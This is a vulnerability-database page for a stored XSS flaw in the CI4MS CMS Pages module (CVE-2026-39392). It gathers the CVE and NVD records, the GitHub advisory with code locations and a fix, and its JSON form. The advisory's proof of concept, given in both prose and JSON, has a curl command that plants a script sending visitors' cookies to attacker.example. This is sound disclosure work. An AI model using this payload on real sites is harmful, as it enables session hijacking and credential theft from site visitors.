Vulnerability-Lookup

CVE-2026-39392 (GCVE-0-2026-39392)

Vulnerability from cvelistv5 – Published: 2026-04-08 14:30 – Updated: 2026-04-08 16:05

Title

CI4MS has Stored XSS in Pages Content Due to Missing html_purify Sanitization

Summary

CI4MS is a CodeIgniter 4-based CMS skeleton that delivers a production-ready, modular architecture with RBAC authorization and theme support. Prior to 0.31.4.0, the Pages module does not apply the html_purify validation rule to content fields during create and update operations, while the Blog module does. Page content is stored unsanitized in the database and rendered as raw HTML on the public frontend via echo $pageInfo->content. An authenticated admin with page-editing privileges can inject arbitrary JavaScript that executes in the browser of every public visitor viewing the page. This vulnerability is fixed in 0.31.4.0.

Severity

5.5 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-04-08 16:05 UTC

CWE

CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 8008 records in the last 180 days details

References

1 reference

URL	Tags
https://github.com/ci4-cms-erp/ci4ms/security/adv…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version	CPE status
ci4-cms-erp	ci4ms	Affected: < 0.31.4.0	guessed

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-39392

Vulnerability from fkie_nvd - Published: 2026-04-08 15:16 - Updated: 2026-07-24 21:10

Severity

5.5 (Medium) - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N
4.8 (Medium) - CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-fjpj-6qcq-6pw2	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	ci4-cms-erp	ci4ms	*

JSON

To clipboard

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GHSA-FJPJ-6QCQ-6PW2

Vulnerability from github – Published: 2026-04-08 19:15 – Updated: 2026-04-08 19:15

Summary

CI4MS has stored XSS in Pages Content Due to Missing html_purify Sanitization

Details

Summary

The Pages module does not apply the html_purify validation rule to content fields during create and update operations, while the Blog module does. Page content is stored unsanitized in the database and rendered as raw HTML on the public frontend via echo $pageInfo->content. An authenticated admin with page-editing privileges can inject arbitrary JavaScript that executes in the browser of every public visitor viewing the page.

Details

The Blog module correctly applies HTMLPurifier sanitization to content fields:

modules/Blog/Controllers/Blog.php:82

'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'],

The Pages module omits this rule in both create and update methods:

modules/Pages/Controllers/Pages.php:82 (create)

'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required'],

modules/Pages/Controllers/Pages.php:130 (update)

'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required'],

Content is stored directly without sanitization:

modules/Pages/Controllers/Pages.php:111 (create path)

'content' => $lData['content'],

modules/Pages/Controllers/Pages.php:157 (update path)

'content' => $lData['content'],

On the public frontend, the content is rendered as raw HTML without escaping:

app/Views/templates/default/pages.php:32

<?php echo $pageInfo->content ?>

Note that the same template correctly escapes the title field on line 9 using esc($pageInfo->title), further confirming the content output is an oversight.

The html_purify custom validation rule is defined in modules/Backend/Validation/CustomRules.php:54-73 and uses the HTMLPurifier library to strip dangerous HTML (script tags, event handlers) while preserving safe rich content. Its absence from the Pages validation is the root cause.

PoC

Step 1: Create a page with XSS payload (requires admin session)

curl -X POST https://target/backend/pages/create \
  -b 'ci_session=ADMIN_SESSION_COOKIE' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'lang[tr][title]=Test+Page&lang[tr][seflink]=test-xss-page&lang[tr][content]=<p>Normal+content</p><script>document.location="https://attacker.example/?c="%2Bdocument.cookie</script>&isActive=1'

Step 2: Visit the page as any unauthenticated user

https://target/tr/test-xss-page

Expected result: The <script> tag executes in the visitor's browser, sending their cookies to the attacker-controlled server.

Impact

Session hijacking: Attacker steals session cookies of any visitor, including other administrators
Credential theft: Injected JavaScript can render fake login forms or keylog credentials
Site defacement: Arbitrary HTML/JS can modify the public-facing page for all visitors
Malware distribution: Injected scripts can redirect visitors or load external payloads

The attack requires admin-level authentication (PR:H), but the impact crosses the security boundary to affect all unauthenticated public visitors (S:C). In a multi-admin CMS environment, a lower-privileged admin with only page-editing permissions could compromise higher-privileged admin sessions.

Recommended Fix

Add the html_purify validation rule to both the create and update methods in the Pages controller, consistent with the Blog module:

modules/Pages/Controllers/Pages.php:82 — change:

'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required'],

to:

'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'],

modules/Pages/Controllers/Pages.php:130 — apply the same change:

'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'],

Additionally, as defense-in-depth, escape content output in the view template or use the existing esc() helper with the 'raw' context for trusted HTML, ensuring HTMLPurifier has already processed it before storage.

Severity

5.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.31.3.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "ci4-cms-erp/ci4ms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.31.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-39392"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-08T19:15:42Z",
    "nvd_published_at": "2026-04-08T15:16:14Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe Pages module does not apply the `html_purify` validation rule to content fields during create and update operations, while the Blog module does. Page content is stored unsanitized in the database and rendered as raw HTML on the public frontend via `echo $pageInfo-\u003econtent`. An authenticated admin with page-editing privileges can inject arbitrary JavaScript that executes in the browser of every public visitor viewing the page.\n\n## Details\n\nThe Blog module correctly applies HTMLPurifier sanitization to content fields:\n\n**`modules/Blog/Controllers/Blog.php:82`**\n```php\n\u0027lang.*.content\u0027 =\u003e [\u0027label\u0027 =\u003e lang(\u0027Backend.content\u0027), \u0027rules\u0027 =\u003e \u0027required|html_purify\u0027],\n```\n\nThe Pages module omits this rule in both create and update methods:\n\n**`modules/Pages/Controllers/Pages.php:82`** (create)\n```php\n\u0027lang.*.content\u0027 =\u003e [\u0027label\u0027 =\u003e lang(\u0027Backend.content\u0027), \u0027rules\u0027 =\u003e \u0027required\u0027],\n```\n\n**`modules/Pages/Controllers/Pages.php:130`** (update)\n```php\n\u0027lang.*.content\u0027 =\u003e [\u0027label\u0027 =\u003e lang(\u0027Backend.content\u0027), \u0027rules\u0027 =\u003e \u0027required\u0027],\n```\n\nContent is stored directly without sanitization:\n\n**`modules/Pages/Controllers/Pages.php:111`** (create path)\n```php\n\u0027content\u0027 =\u003e $lData[\u0027content\u0027],\n```\n\n**`modules/Pages/Controllers/Pages.php:157`** (update path)\n```php\n\u0027content\u0027 =\u003e $lData[\u0027content\u0027],\n```\n\nOn the public frontend, the content is rendered as raw HTML without escaping:\n\n**`app/Views/templates/default/pages.php:32`**\n```php\n\u003c?php echo $pageInfo-\u003econtent ?\u003e\n```\n\nNote that the same template correctly escapes the title field on line 9 using `esc($pageInfo-\u003etitle)`, further confirming the content output is an oversight.\n\nThe `html_purify` custom validation rule is defined in `modules/Backend/Validation/CustomRules.php:54-73` and uses the HTMLPurifier library to strip dangerous HTML (script tags, event handlers) while preserving safe rich content. Its absence from the Pages validation is the root cause.\n\n## PoC\n\n**Step 1: Create a page with XSS payload (requires admin session)**\n```bash\ncurl -X POST https://target/backend/pages/create \\\n  -b \u0027ci_session=ADMIN_SESSION_COOKIE\u0027 \\\n  -H \u0027Content-Type: application/x-www-form-urlencoded\u0027 \\\n  -d \u0027lang[tr][title]=Test+Page\u0026lang[tr][seflink]=test-xss-page\u0026lang[tr][content]=\u003cp\u003eNormal+content\u003c/p\u003e\u003cscript\u003edocument.location=\"https://attacker.example/?c=\"%2Bdocument.cookie\u003c/script\u003e\u0026isActive=1\u0027\n```\n\n**Step 2: Visit the page as any unauthenticated user**\n```\nhttps://target/tr/test-xss-page\n```\n\n**Expected result:** The `\u003cscript\u003e` tag executes in the visitor\u0027s browser, sending their cookies to the attacker-controlled server.\n\n## Impact\n\n- **Session hijacking:** Attacker steals session cookies of any visitor, including other administrators\n- **Credential theft:** Injected JavaScript can render fake login forms or keylog credentials\n- **Site defacement:** Arbitrary HTML/JS can modify the public-facing page for all visitors\n- **Malware distribution:** Injected scripts can redirect visitors or load external payloads\n\nThe attack requires admin-level authentication (PR:H), but the impact crosses the security boundary to affect all unauthenticated public visitors (S:C). In a multi-admin CMS environment, a lower-privileged admin with only page-editing permissions could compromise higher-privileged admin sessions.\n\n## Recommended Fix\n\nAdd the `html_purify` validation rule to both the create and update methods in the Pages controller, consistent with the Blog module:\n\n**`modules/Pages/Controllers/Pages.php:82`** \u2014 change:\n```php\n\u0027lang.*.content\u0027 =\u003e [\u0027label\u0027 =\u003e lang(\u0027Backend.content\u0027), \u0027rules\u0027 =\u003e \u0027required\u0027],\n```\nto:\n```php\n\u0027lang.*.content\u0027 =\u003e [\u0027label\u0027 =\u003e lang(\u0027Backend.content\u0027), \u0027rules\u0027 =\u003e \u0027required|html_purify\u0027],\n```\n\n**`modules/Pages/Controllers/Pages.php:130`** \u2014 apply the same change:\n```php\n\u0027lang.*.content\u0027 =\u003e [\u0027label\u0027 =\u003e lang(\u0027Backend.content\u0027), \u0027rules\u0027 =\u003e \u0027required|html_purify\u0027],\n```\n\nAdditionally, as defense-in-depth, escape content output in the view template or use the existing `esc()` helper with the `\u0027raw\u0027` context for trusted HTML, ensuring HTMLPurifier has already processed it before storage.",
  "id": "GHSA-fjpj-6qcq-6pw2",
  "modified": "2026-04-08T19:15:42Z",
  "published": "2026-04-08T19:15:42Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-fjpj-6qcq-6pw2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39392"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ci4-cms-erp/ci4ms"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.4.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "CI4MS has stored XSS in Pages Content Due to Missing html_purify Sanitization"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

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Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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CVE-2026-39392 (GCVE-0-2026-39392)

FKIE_CVE-2026-39392

GHSA-FJPJ-6QCQ-6PW2

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